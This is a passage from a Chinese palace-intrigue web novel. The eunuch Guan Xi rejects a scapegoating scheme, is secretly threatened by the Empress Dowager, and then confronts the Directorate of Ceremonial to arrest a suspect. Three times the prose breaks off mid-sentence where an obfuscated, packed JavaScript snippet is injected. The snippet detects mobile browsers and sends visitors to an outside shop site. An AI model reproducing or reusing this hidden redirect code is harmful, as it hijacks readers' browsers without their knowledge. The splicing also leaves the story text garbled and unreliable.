他顿了顿,觑着关禧的脸色,小心翼翼道:“依奴才浅见,不如……不如咱们先结案。挑两个平日就嘴碎、有些劣迹、又没什么根底的,比如那个总爱往各宫钻营传话的小火者,或是浣衣局里哪个手脚不干净的老婆子……证据么,总能找出些来。报上去,陛下见了结果,知道提督您雷厉风行,办了差事,自然……也就满意了。宫里这些人,谁还真的去追究死无对证的事儿?” 替罪羊。 关禧握着筷子的手,指节泛白。一股邪火从心底窜起,烧得他眼前都红了一瞬。何璋这主意,看似聪明,实则是将他往万劫不复的深渊里推,欺君之罪,构陷宫人,一旦被揭穿,或者日后皇帝自己回过味来…… 他胸口起伏,几乎要拍案而起,将这投机取巧,罔顾风险的蠢货怒斥出去。 “砰!” 值房的门被猛地撞开,力道之大,让门板重重拍在墙上,发出震响。 一个小太监连滚带爬地冲了进来,正是贵平。他脸色煞白,额头全是汗,也顾不得何璋在场,噗通跪倒在地,双手高举过头,捧着一封没有题头,用寻常黄麻纸封着的信。 “提、提督!宫门外……有个脸生的老苍头,塞、塞给守门侍卫这个,指名……一定要立刻呈给您!说是……十万火急!” 关禧心头一跳,那即将爆发的怒火被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130654|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突如其来的变故硬生生压了下去。贵平手中那封信。黄麻纸粗糙普通,封口处只以浆糊粘着,没有任何火漆印记。 何璋也吓了一跳,惊疑不定地看着那封信,又看看关禧。 关禧缓缓放下筷子,站起身,走到贵平面前,拿起那封信。入手很轻。他撕开封口,抽出一张同样质地的信纸。 纸上只有一行字,墨迹淋漓,力透纸背: 【亥时三刻,西郊皇觉寺,竹林精舍。独自来。】 没有落款。 可除了太后,还能有谁? 她不在宫里见他,约在了宫外。西郊皇觉寺,那是皇家寺院,平日除了皇家祈福,少有闲杂人等,僻静,安全,且……不在宫禁管辖之内。戌时三刻,宫门虽已下钥,但他如今的身份,内官监掌印太监兼提督内缉事厂,以侦缉公务为由临时出宫,并非难事。 太后想干什么?警告?拉拢?还是……又一次的杀局? 无数念头在脑中飞转,关禧脸上迅速恢复了沉静,他将信纸就着炭盆点燃,他对跪着的贵平道,声音听不出情绪,“知道了。下去吧。今日之事,若有一字泄露……” “奴才明白!奴才什么都没看见!”贵平如蒙大赦,磕了个头,连滚爬了出去,还细心地把撞开的门重新掩好。 值房内,只剩下关禧和面色惊疑不定的何璋。 “督主,这……”何璋看着炭盆里那点余烬,想问又不敢问。 “没什么。”关禧打断他,眼神已然一片冰封,“你刚才的话,本督当没听过。查案,继续按规矩查。再有此等妄言,你便自己去浣衣局报道。” 何璋浑身一颤,冷汗涔涔而下:“是,是!奴才失言!奴才这就去盯紧他们!” 看着何璋仓皇退出的背影,关禧坐回椅中。焦躁奇迹般地平息了,太后选在这个时候,用这种方式约他,绝非偶然。 夜幕,很快降临。 亥时初,关禧换上了一身毫不起眼的深灰色棉布直裰,外罩黑色披风,遮住了过于醒目的身形。腰牌自然带着,但对守门的侍卫,他只亮出了内官监的牌子,言简意赅:“公务。” 侍卫验过腰牌,不敢多问,悄然打开了侧边一扇小门。 西郊,皇觉寺。 冬夜的山寺,笼罩在一片凄清的寂静中。没有香客,只有山风穿过枯木和檐角,发出呜呜的声响,如同鬼泣。寺内灯火零星,大部分建筑都隐没在沉沉的黑暗里。 关禧依着白日让贵平偷偷打听来的路径,绕过正殿,穿过一片荒芜的僧寮后院,朝着后山竹林方向走去。脚下是覆着薄霜的碎石小径,冰冷湿滑。空气中弥漫着陈年香火和泥土枯叶混合的沉闷气息。 竹林在黑夜里显得格外幽深,竹叶摩挲,沙沙作响,掩盖了其他一切声音。精舍就在竹林深处,一点孤灯如豆,在浓重的夜色里晕开一团昏黄模糊的光晕。 关禧在精舍外的竹林边缘停下脚步,凝神倾听。除了风声竹响,再无其他。他深吸一口气,压下心头所有翻涌的思绪,整了整衣衫,迈步向前。 精舍的门虚掩着。 他抬手,轻轻推开。 室内比想象中宽敞,陈设却极为简单朴素。一桌,一椅,一榻,一座小小的佛龛,龛前青烟袅袅,供着一尊模糊的菩萨像。空气中檀香的味道很重,压过了室外的草木寒气。 一个人背对着门口,站在佛龛前。 她穿着一身毫无纹饰的深青色缁衣,头发用一支最简单的乌木簪子绾成寻常道髻,再无半点珠翠。可即便只是这样一个朴素的背影,即便隔着几步距离,关禧依然能清晰地感觉到那股浸入骨髓属于上位者的威仪。 是太后郑书意。她竟然真的亲身在此,而且是一身近乎隐士的装扮。 关禧反手合上门,隔绝了外界的一切声响。然后,他走到郑书意身后三步远的地方,撩袍屈膝,跪下行了大礼。 “奴才关禧,叩见太后娘娘。” 75.第 76 章 用的是“奴才”,是内臣对主子的称呼,也是关禧此刻最恰当的身份界定。 郑书意没有回头,也没有叫起。 时间在沉默中流逝。檀香一缕缕上升,盘旋消散。关禧跪在地砖上,垂着眼,能听到自己略微加快的心跳,也能听到太后轻微的呼吸声。 不知过了多久,也许只是一盏茶,也许更长。 郑书意终于转过身。 昏黄的灯光映亮了她的脸。卸去了宫中繁复华丽的妆容和头面,这张脸显露出些许岁月真实的痕迹,眼角细纹清晰,肤色是一种久不见日光的苍白,也因此褪去了惯常笼罩的那层华贵雍容的光晕,呈现出一种近乎剔透的冷感。但这无损于她的美,更凸显出那份历经风雨沉淀下来属于成熟女性的风韵。 眉形细长,眼眸颜色偏深,在灯下像两汪不见底的深潭,鼻梁秀挺,唇形饱满,即便未涂口脂,也天然带着一抹健康的嫣红。她身量中等偏上,穿着宽松的缁衣,依旧能看出衣衫下丰腴的身段曲线,那是一种被权力滋养,又被岁月精雕细琢过充满生命力的成熟之美,此刻收敛了所有外放的威仪,更显内敛深沉。 她垂眸,看着跪在面前,低眉顺眼的关禧。 那双总是含着温煦笑意的眼睛,在灯下显得格外幽深,没有笑意,只有一片沉沉的审视,就像不见底的寒潭。 “起来吧。”声音不高,淡漠,也少了在永寿宫时那种刻意营造的温婉。 “谢太后娘娘。”关禧依言起身,垂手肃立,视线落在太后缁衣下摆沾着的几点泥渍上,看来她来此也是轻车简从,甚至可能亲自走了段山路。 “这个地方,清净。”郑书意踱步到椅子前,坐下,姿态闲适,仿佛只是寻常长辈在自家禅房与人叙话,“宫里太吵,到处都是耳朵。有些话,还是在这里说,听得清楚些。” 关禧躬身:“娘娘思虑周全。” 郑书意笑了笑,那笑意很淡,未达眼底:“周全?哀家若真周全,当初就不该由着皇帝胡闹,将你从承华宫带到御前,更不该……”她顿了顿,目光如蜻蜓点水般掠过关禧那双狭长凤眼,“让你走到今天这个位置上。” 这话已是开门见山的敲打。 关禧脸上纹丝不动:“奴才愚钝,全赖陛下信重,娘娘宽容。” “宽容?”郑书意重复了一遍,指尖在粗糙的椅子扶手上划过,“关禧,你是个聪明人。聪明人该知道,在这宫里,能走到哪一步,不全看皇帝一时兴起,也得看……脚下踩的砖石稳不稳,身后挂的藤蔓牢不牢。” 她抬起眼,目光锁住关禧:“你父母如今在河间府,日子过得可还安稳?哀家听闻,你前些日子回乡省亲,陛下赏赐丰厚,他们想必很是欣慰吧?” 来了。 关禧心中毫无波澜,甚至有点想笑。父母?河间府那对因为儿子当了太监,得了赏赐而惶恐又带着一丝贪婪的陌生夫妻?那是小离子的父母,不是他关禧的。从他睁开眼发现自己躺在停尸房草席上的那一刻起,他就是孤身一人。太后想用这个来拿捏他,真是打错了算盘。 他脸上适时地露出一点恰到好处的茫然,像是没太明白太后为何突然提起这个,依着规矩答道:“托陛下与娘娘洪福,家父母一切安好。陛下天恩,奴才阖家感激涕零,无以为报。” 郑书意仔细地观察着他的表情。她预料过几种反应:紧张,担忧,恐惧,为父母求情。唯独没有眼前这种,平静疏离。就像提起的不过是远房无关紧要的亲戚,而非生身父母。 她眉头蹙了一下。这不对劲。 “哀家派人将他们从河间府乡下接到府城宅院,拨了人伺候,一应用度,皆由内帑支应。”她缓缓说道,每个字都加重了语气,“你如今在御前当差,差事……又特殊,难免引人侧目。将他们安置在妥当处,也是免你后顾之忧,让你能安心为陛下办事。” 这话已经说得相当直白了:你父母在我手里,我照顾着他们,你也该知道进退。 关禧依旧是那副恭顺模样,“娘娘慈悲,体恤下情,奴才感激不尽。奴才定当尽心竭力,办好陛下交办的差事,以报陛下与娘娘天恩。”他只提办好差事,对父母处境没有丝毫额外的关切或焦虑。 郑书意眼中的平静终于被一丝极淡的愕然打破。她久居深宫,见过太多人为了家人安危或前程卑躬屈膝,惶惶不可终日。即便是那些真正心狠手辣之辈,在面对至亲被掌控时,也会流露出本能的紧张或掩饰。可眼前这个年轻的太监,他的平静太真切了,那不是强装镇定,而是真的不在意。 难道情报有误?那对河间府的夫妻并非他亲生父母?不,内务府的记录,王元宝的交代,乃至她派人暗访上河村的结果,都确认无误。 那就只剩下一种可能,这个关禧,心性之冷硬狠绝,远超她的预估。为了往上爬,为了眼前的权势,连亲生父母的性命安危都可以置之度外,甚至可能……乐于见到他们成为自己向皇帝表忠的投名状? 一丝寒意夹杂着难以言喻的审视,从郑书意心底升起。她重新打量起眼前这个低眉顺眼的年轻人。过分俊美的皮相下,竟是这样一副铁石心肠?不,或许不只是铁石心肠。他那双低垂的凤眼里,偶尔流转过的光芒,除了冷静和算计,还有某种她难以完全理解的……游离感?仿佛这一切,皇权,后宫,他自己的生死荣辱,都隔着一层无形的膜,未能真正触及他的核心。 这感觉让她很不舒服,也让她更加警惕。 “你倒是沉得住气。”郑书意语气冷了下来,不再兜圈子,“皇帝年轻气盛,有些事,想得简单。设立内缉事厂,让你一个毫无根基的太监提督,侦缉宫闱,甚至意图插手外朝风声,这是把你放在火上烤。你以为,凭你一人,能扛得住司礼监?扛得住前朝那些清流御史的口诛笔伐?还是扛得住这宫里宫外无数双盯着你的眼睛?” 关禧终于抬起了眼,目光平静地迎向她:“奴才惶恐。奴才只知道奉陛下旨意行事。陛下让奴才做什么,奴才便做什么。至于其他,非奴才所能虑,亦非奴才所敢虑。” “好一个非所敢虑!”郑书意声音陡然转厉,她站起身,缁衣拂动,带起一股沉郁的檀香气,“关禧,你莫要以为得了皇帝几分青眼,赐了你名号袍服,就真的能在这宫里一步登天!皇帝能给你的,哀家也能收回!你父母在河间府是享福还是受苦,是安然度日还是突遭横祸,也不过是哀家一句话的事!” 她走到关禧面前,微微俯身,一字一句道:“皇帝要查流言,哀家可以给你一条明路。但从此以后,你这内缉事厂的动静,哀家要知道。皇帝那边……有些不该说的话,你也要知道分寸。只要你识趣,你父母自然平安富贵,你关提督的位置,也未必不能坐得稳当些。否则……” 威胁之意,溢于言表。 关禧看着近在咫尺的太后。这张脸美得惊心动魄,眼角细纹更添风韵,可那眼底的冰冷和掌控欲,也清晰无比。他在心中客观地评价了一下:嗯,确实是个极具成熟魅力的美人,可惜心肠和手段都太硬了。 至于她说的那些……父母?随意。内缉事厂的掌控权?想都别想。向皇帝隐瞒?那才是真正的取死之道。 “太后娘娘教诲,奴才谨记在心。陛下乃天下之主,奴才蒙陛下拔擢,唯知忠于王事,恪尽职守。内缉事厂一切行事,皆遵陛下旨意,奴才断不敢有丝毫欺瞒圣听。至于奴才父母……他们既蒙娘娘照料,是生是死,是福是祸,皆是他们的命数,亦是娘娘恩典。奴才唯有在御前更加勤勉,以报陛下知遇之恩。” 他这话,几乎等同于明说:你拿我父母威胁我?没用。我的一切是皇帝给的,我只听皇帝的。你想用我父母控制我?随便你处置,我不在乎。 郑书意瞳孔骤缩,看着关禧那张毫无波澜,甚至因为过分平静而显得有些妖异的脸,一时间竟有些失语。她掌权多年,见过形形色色的人,贪生怕死的,利益熏心的,虚与委蛇的,却从未见过如此……如此将自己与所有世俗牵绊彻底割裂,将灵魂完全献祭给皇权,冷酷到非人的存在。 这已经不是心狠手辣可以形容。这简直像一柄没有鞘,没有柄,纯粹为杀戮而生的刀,只认一个主人,其余一切,皆可抛弃。 震惊之后,是更深的忌惮。这样的人,无法用常理控制,无法用亲情羁绊,无法用利益收买。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133370|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一的弱点,或许只有那个赋予他权力的皇帝。而皇帝正是如今最想挣脱她掌控的人。 她直起身,拉开了距离,脸上所有的情绪都收敛起来,重新恢复了那种深不可测的平静。 只是看着关禧的眼神,已然完全不同。 “好,很好。”她点了点头,声音听不出喜怒,“哀家今日,算是见识了。皇帝……倒是真会挑人。” 她转身,重新走向佛龛,背对着关禧,仿佛刚才那番激烈的交锋从未发生。 “流言的源头,在司礼监随堂太监周如意处。他与玉芙宫徐昭容身边的一个大宫女是对食,消息是从那里漏出去的,经由几个不得志的老太监添油加醋,散播开来。证据,哀家会让人送到你内缉事厂的档房。” 她竟然直接给出了答案,甚至附赠证据。 关禧立刻躬身:“谢娘娘指点。” “不必谢哀家。”郑书意声音淡漠,“皇帝要肃清宫闱,查办几个不安分的奴才,哀家自然支持。只是关禧,你要记住,刀太锋利,容易伤主,也容易自折。皇帝如今用你,是看中你的锋利。可若有朝一日,他觉得你过于锋利,或者……指向了不该指的方向呢?” 她侧过半边脸,灯光在她明艳的侧脸上投下深深浅浅的阴影。 “哀家今日找你,不是求你,是提醒你。这条路,是你自己选的。望你好自为之,莫要走得太快,跌得太惨。” 说完,她不再言语,望着佛龛中的菩萨。 关禧知道,这是送客了。 他再次深深一礼:“奴才告退。” 退出精舍,反手关上门。 精舍内,郑书意良久未动。 贴身的江嬷嬷从佛龛后的阴影里走出,低声道:“娘娘,此人……” 郑书意打断她,“好一个关禧……好一把刀。冯媛恐怕也没想到,她捡回来的,是这么个东西。连亲生父母都可作为筹码,眼中只有利弊权衡……”她轻轻摇头,“皇帝这次,倒是真找到了一把难得的好刀。只是这刀,太过锋利,也太过冷硬,握久了,恐怕也会伤了自己。” “那河间府那边……”江嬷嬷请示。 “先看着。”郑书意揉了揉眉心,“暂时不必动。此人反应异常,或许另有隐情。再者,留着那对老农,未必没用。至少能让有些人觉得,拿捏住了他的把柄。有时候,让人误解你有弱点,比真的没有弱点,更好。” “是。” “回宫吧。”郑书意转身,最后看了一眼那尊模糊的菩萨像,低语道:“这宫里,是越来越有意思了。” 竹林幽暗,夜风穿林而过,带来彻骨的寒意。 关禧站在竹林深处,深吸了几口冰冷的空气。太后的反应,比他预想的更有意思。最初的威胁落空后,她迅速调整了策略,从试图控制转为某种意义上的警告甚至提醒,并直接抛出了一个够分量的功劳,周如意和徐昭容宫女的线索。 这既是向皇帝示好,支持肃清宫闱,也是向他关禧展示实力,我能轻易拿到你要的东西,更是将烫手山芋丢给了他,去查办司礼监的人,还是徐昭容宫里的人,无论哪边,都是硬骨头。 而他关于父母那番冷漠的表态,显然在太后心中留下了深刻的印象。一个连父母都不在乎的人,要么是极致的忠犬,要么是极致的疯子。太后现在大概更倾向于认为他是后者,一把皇帝亲手打磨的,可能失控的疯刀。 这很好。让人忌惮,有时比让人轻视更安全。 他整理了一下披风,循着来路,悄然离开了皇觉寺。回宫的路上,他脑子飞快运转。太后给的线索大概率是真的,这是个迅速向皇帝交差,站稳脚跟的机会。但如何处理,才能既办了差,又不至于立刻成为众矢之的? 或许,可以只办周如意,暂时不动徐昭容那边?毕竟徐昭容有孕,动她风险太大。而周如意是司礼监的人,本就是皇帝的眼中钉,拿他开刀,既能立威,又能迎合圣意…… 夜色深沉,宫墙巍峨。 关禧的身影融入黑暗,那双凤眼,在掠过宫灯时,闪过一抹不易察觉的寒芒。 内缉事厂的第一把火,该烧起来了。 76.第 77 章 次日,寅时末,天色仍是一片沉稠的墨蓝。 东安门北,内缉事厂。 昨夜的死寂被一种刻意压低的嘈杂取代。几辆蒙着深灰色毡布的太平车停在库房前的空地上,车上满载着箱笼。何璋带着几个手脚麻利的太监,正借着廊下和库房内透出的灯火,指挥着卸货,清点,搬运。 “轻点!手脚都放轻些!” “这些可是督主亲自盯着赶出来的要紧物事!” 关禧站在库房改建的值房门口,身上那身绯红蟒袍,在凌晨的寒气和昏暗光线下,红得沉郁。他手里捧着一个黄铜手炉,目光扫过那些被搬进来的箱笼。 布匹,纸张,特制的笔墨,小巧的铜制烟壶,还有几笼经过训练的灰扑扑的信鸽……皇帝拨付的密金和他自己拟定的清单,正在以惊人的速度化为实物。 孙得禄在这件事上,展现了远超寻常的高效,或许,皇帝也在透过这位副总管的眼睛,审视着他这把新刀的磨砺进度。 最后几个长条形的樟木箱子被抬了进来,箱子颇沉,落地时发出闷响。所有人的目光都不由自主地被吸引过去。 关禧将手炉递给身后的双喜,走上前。 “打开。”他声音平淡。 何璋亲自上前,用撬杠撬开箱盖。木板被移开,库房内本就昏暗的光线落进去,映出一片幽冷的寒光。 是刀。 形制统一,刀身狭长略弯,刀镡是简洁的椭圆形,刀鞘是深褐色皮革包裹着硬木,没有过多装饰,只在鞘口和鞘尾箍着暗色的铜环。刀柄缠着密实的青黑色丝绳,尾端坠着一截短短的红色流苏。 整整一箱,排列得整整齐齐。 关禧伸出手,拿起最上面的一把。 入手沉甸甸的,比预想中更有分量。皮革刀鞘触感粗砺。他拇指顶住哑光的铜质刀镡,向外一推。 “锃——!” 一声清越悠长的金属摩擦声,在寂静的凌晨库房内骤然响起,压过了所有细微的声响,似是一道冰线划破了凝固的空气。 刀身完全出鞘。 三尺余长,刀身微弧,靠近刀镡处较宽,向刀尖逐渐收窄。灯光下,可以看见刀身上有细密如羽毛或云纹的锻造痕迹,这是经过反复折叠锻打的百炼钢才有的纹理。刃口一线,打磨得极薄,在昏黄光线下流转着一种青湛湛寒芒,仿佛多看几眼,视线都会被割伤。 绣春刀。 关禧在心中念出这个名字。他记不得历史上真实的绣春刀具体形制,但这个词,连同它所代表的锦衣卫的凌厉神秘,早已随着无数影视作品深植于他的脑海。 当他为内缉事厂的番役设计制式武器时,不假思索地选定了这个名号,画出了记忆中那种狭长优美又极具杀伤力的刀形。 兵仗局的工匠或许觉得这刀形有些怪异,不如传统的雁翎刀或柳叶刀普及,但在皇帝按图赶制的严令下,还是以最快的速度打造出了这一批。 刀,是权力的延伸,是暴力最直观的体现。内缉事厂的太监有了刀,便不再是只会探听传话的耳目,而是真正有了执法甚至处刑的獠牙。这一点,皇帝懂,他懂,此刻库房里所有看见这刀的人,也都明白了。 何璋和周围太监们的呼吸都屏住了,目光紧紧盯着关禧手中那泓秋水般的刀光,眼神里混杂着敬畏渴望。他们大多出身卑微,平日里连摸一摸侍卫的佩刀都是奢望,何曾想过自己有一天也能配备如此精良的利器? 关禧垂眸,看着手中修长的刀身。刀面光滑,隐约映出他自己模糊的倒影,绯红的袍服,苍白的脸,沉静的眼。一种奇异的连接感传来,仿佛这冰冷的金属,成了他意志的延伸,从这一刻起,他和他麾下这些人的手上,将不可避免地沾染鲜血。 这刀,是护身符,也是催命符。 他手腕微转,刀身在空气中划过一个极小的弧线,带起一丝若有若无的破风声。 然后,他“咔”一声,干脆利落地还刀入鞘。那清越的鸣响戛然而止,库房内重新陷入寂静。 “此刀,名绣春。乃陛下特许,内缉事厂番役制式佩刀。今日配发,是恩典,也是责任。” 他目光扫过众人,在何璋和几个初步筛选出,神色尚且镇定的太监脸上略作停留。 “领了刀,便是领了陛下肃清宫闱之权,领了提督我斩除奸佞之令。刀锋所向,唯有陛下旨意与本督号令。用之正则护身立功,用之邪则万劫不复。都听明白了?” “明白!”众人齐声应道,声音因激动和紧张有些发颤,在空旷的库房里回荡。 “何璋。” “奴才在!” “按之前拟定的名单,将刀分发下去。着甲。”关禧顿了顿,补充道,“挑八个身手相对利落、胆气足些的,卯时初刻,随本督出行。” “着甲?”何璋愣了一下。太监着甲,除非是御马监等少数特殊衙门,极为罕见。 “库房里不是还有一批赶制出来的罩甲和毡笠么?”关禧语气不容置疑,“换上。” 何璋不敢多问,连忙应下,指挥着人开始分发绣春刀和那些深青色棉铁复合的短罩甲,以及同样颜色的宽檐毡笠。一时间,库房里充满了刀鞘碰撞,甲片摩擦的金属细响,以及太监们压抑着兴奋的低语。 当那沉甸甸的绣春刀挂在腰间,略显臃肿的罩甲套在身上,再戴上遮住大半面容的毡笠时,这群原本神色各异的太监,竟凭空多了几分肃杀整齐的气象,尽管动作生涩,眼神也难免惶惑。 关禧自己也换上了一套。罩甲是特制的,比普通的更合身一些,衬在绯红蟒袍之外,冲淡了几分艳色,多了冷硬。他没有戴毡笠,只是将头发用金簪紧紧束起,露出清晰的下颌线条。 卯时初刻,天色将明未明,是一夜中最黑暗寒冷的时刻。 关禧带着八名挑选出来的番役,走出了内缉事厂的院门。八人两人一排,紧跟在他身后。他们尽力挺直背脊,手按在崭新的绣春刀刀柄上,指节因为用力而发白。深青色的罩甲和毡笠让他们几乎融入了黎明前的黑暗,只有腰间那一道暗红的流苏和偶尔从毡笠下沿露出的紧张眼神,显示着他们的存在。 没有举火把,只有领头的关禧手里提着一盏光线收敛的气死风灯,昏黄的光晕仅仅照亮脚下几步远的宫道。 一行人疾行在尚在沉睡的宫禁之中。脚步落在清扫过积雪的石板上,发出整齐的“沙沙”声,混合着甲片轻微的摩擦声。 他们的方向,是位于皇宫东南区域,紧邻着文华殿的司礼监。 越靠近司礼监,宫道两侧的灯火密集了些,偶尔能看到值夜太监的身影在廊下缩着脖子打盹。看到这一队着甲佩刀,形貌陌生的太监沉默行来,那些值夜者无不骇然惊醒,睡意全无,惊疑不定地注视着他们,直到队伍消失在宫道拐角,才敢低声议论。 司礼监衙署是一组独立的院落,青砖灰瓦,比别处更显庄重肃穆。门前两只石狮子在晨曦微光中蹲踞,张牙舞爪。此时大门紧闭,只有侧门虚掩,透出里面值班房的一点灯火。 关禧在石狮子前停下脚步。 身后八名番役立刻左右分开,手按刀柄,无声地占据了门前的有利位置,动作虽然还有些僵硬,但那股如临大敌的气势已经透了出来。 值房里的太监听到动静,揉着眼睛探头出来,正要呵斥是谁敢在司礼监门前喧哗,看到门前这队甲胄鲜明,刀光隐现的不速之客,尤其是为首那个即便穿着罩甲也难掩一身绯红与通身冷厉气度的年轻太监,到了嘴边的呵斥顿时噎在了喉咙里。 “内缉事厂提督,关禧。”关禧上前一步,声音在黎明前的寂静中清晰冰冷,“奉旨,查办勾结宫嫔、泄露禁中语、散播流言之犯官周如意。让你司礼监掌印、秉笔出来说话,或者……直接交人。” 那值房太监腿一软,差点瘫倒在地,连滚爬爬地缩了回去,想必是赶着向里面通报了。 关禧站在司礼监威严的门楼阴影下,身后是八道绷紧如弓弦的深青身影。他微微抬眸,望着门楣上那块黑底金字的“司礼监”匾额,手指在绣春刀冰凉的刀柄上,摩挲了一下。 他身后,八名番役呼吸粗重,甲胄下的身体紧绷,目光透过毡笠的阴影,死死盯着那扇侧门。他们中有人额角渗出冷汗,但无人后退一步,绣春刀沉甸甸地坠在腰间,既是荣耀,更是无法挣脱的烙印。 门内一阵死寂,仿佛连晨风都凝固了片刻。 约莫半盏茶功夫,侧门终于被完全拉开。 先出来的是两个穿着靛蓝云纹常服,面白无须的中年太监,一左一右,神色凝重,眼神锐利地扫过门前这队不速之客,最后落在关禧身上,他们是司礼监的随堂太监,品阶不低。 紧随其后的,才是正主。 郑保穿着一身绛紫蟒袍,头发梳得一丝不苟,脸上还是那副亘古不变的雍容圆滑。他脚步不疾不徐,迎上关禧的目光时,还笑了笑,只是那笑意未达眼底。 “关提督,这一大清早的,带着人马,全副武装,堵在我司礼监衙门口,口称奉旨查办……不知我司礼监哪个不懂事的,犯了什么王法,竟劳动提督亲自来拿人?可有陛下明旨?” 他直接将犯官换成了不懂事的,轻描淡写地降低了性质,同时索要明旨,这是惯例,也是第一道门槛。 关禧面色不变,从怀中取出一卷黄绫,是皇帝手谕,加盖了随身小玺。他展开,声音清晰地念道:“上谕:着内缉事厂提督太监关禧,稽查宫内流言蜚语,肃清源头。凡有涉事者,无论品阶,一体查问,据实以报。钦此。” 念罢,他将手谕向前一递,让郑保等人能够看清玺印,随即收回。 “郑公公,陛下口谕亦是旨意。内缉事厂奉旨办事,还望公公行个方便。”他顿了顿,目光扫过那两个神色不善的随堂太监,最后重新落在郑保脸上,“贵监随堂太监周如意,勾结玉芙宫宫人,泄露禁中语,散播流言,扰乱宫闱。证据确凿。本督今日,需带周如意回厂问话。” “周如意?”郑保眉头蹙了一下,随即舒展,叹了口气,“这孩子……平日看着还算机灵,怎会如此糊涂?关提督,不是咱家不信你,只是这证据确凿四字,可否让咱家先瞧瞧?司礼监的人,纵有不是,也该按着内廷的规矩来,这般直接上门拿人,传出去,怕是……” “郑公公,”关禧打断他,声音冷了一分,“内缉事厂行事,自有章程。陛下既赋予稽查之权,便有临机处置之责。证据,自然会在问明之后,呈报陛下与公公知晓。至于规矩……” 他抬了抬下巴,身后八名番役同时向前踏出半步,甲片摩擦,发出整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148240|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐的“哗啦”一声,腰间的绣春刀也跟着嗡鸣了一瞬,“本督今日,便是来立规矩的。” 气氛陡然降至冰点。 郑保脸上的雍容终于维持不住,渐渐沉了下来。他看着眼前这个一身绯红罩甲,面容精致眼神冷厉如刀的年轻太监,心中惊怒交加。他料到皇帝扶植的这把刀迟早会砍向司礼监,却没想到来得这么快,这么直接,而且第一个目标,竟是周如意,一个不算核心,又因与玉芙宫牵扯而颇为敏感的角色。 这是试探,也是宣战。更是皇帝借这把新刀,狠狠扇在司礼监脸上的耳光。 “关提督好大的威风。”郑保缓缓道,声音里没了那份舒缓,只剩下沉沉的官威,“司礼监掌内廷机要,辅佐陛下批红理政,非寻常衙门可比。你要在这里拿人,若无陛下明发中旨,仅凭口谕和这……尚不知真伪的所谓证据,请恕咱家难以从命。不如这样,提督先将证据交予咱家,待咱家核实之后,若周如意确有不是,司礼监自会依规处置,给陛下、也给提督一个交代。” 他这是要硬扛了,以司礼监的地位和惯例为盾,拒绝交人,同时反过来索要证据,意图将主动权夺回。 关禧心中冷笑。果然如此。他若退缩,内缉事厂今日便成了一个笑话,皇帝也会对他失望。他若强行闯司礼监拿人,则等于彻底撕破脸,与这个内廷最有权势的衙门结下死仇,即便有皇帝支持,日后也必是步步惊心。 但他早已料到这一步。太后昨夜给的,不止是线索。 “郑公公此言差矣。内缉事厂乃陛下亲设,专司稽查宫闱不法。凡有嫌疑,皆可查问。此乃陛下特许之权,亦为新规。若事事皆需先经司礼监核准,岂非形同虚设?至于证据真伪……” 他忽然侧身,对身后一名番役低声道:“去,将人带过来。” 那番役领命,迅速跑向太平车停驻的阴影处。片刻后,他押着一个被黑布蒙着头,双手反缚,瑟瑟发抖的太监走了回来。看那太监身上的服色,赫然是浣衣局的罪奴。 郑保等人脸色微变。 关禧示意扯掉头套。露出的是一张苍老惶恐,布满风霜的脸,正是昨夜太后提及的,与周如意在浣衣局有过接触的那个老罪奴。 “此人,可认得周如意?”关禧问。 那老罪奴早已吓得魂飞魄散,扑通跪倒,连连磕头:“认得、认得!周、周公公前些日子……找过奴才,给了奴才一些钱,让、让奴才把一些话,传给北苑几个老姐妹……奴才该死!奴才贪财!求督主饶命!求公公饶命!”他语无伦次,却清楚地指认了周如意,点出了传话。 关禧不再看那罪奴,目光重新投向郑保:“郑公公,人证在此。至于周如意与玉芙宫宫人往来的物证……”他略一停顿,不经意般补充道,“昨夜,永寿宫太后娘娘体恤陛下肃清宫闱之心,亦觉流言可畏,有害天和,特意派人,将一些查得的线索,送到了内缉事厂档房。” 他刻意将“永寿宫太后娘娘”几个字咬得清晰。 郑保的瞳孔骤然收缩,脸上血色褪去几分。 太后,太后竟然暗中支持?甚至提供了线索?这消息比关禧带兵堵门更让他心惊。太后与皇帝虽有龃龉,但在打压司礼监,整肃内廷方面,立场竟然……重合了?至少,太后默许了皇帝这把刀砍向司礼监。 这背后的意味,让他感到一股寒意从脚底升起,司礼监再势大,也绝不敢同时硬撼皇帝和太后。 他沉默了,脸色变幻不定。 身后两个随堂太监更是面露骇然,交换着惊慌的眼神。 关禧不再催促,静静等待。黎明前的黑暗正迅速褪去,天边泛起鱼肚白,司礼监门楼上的琉璃瓦开始反射出微弱的天光。 良久,郑保长长吐出一口气,那口气瞬间抽走了他几分精气神,让他看起来衰老了些。 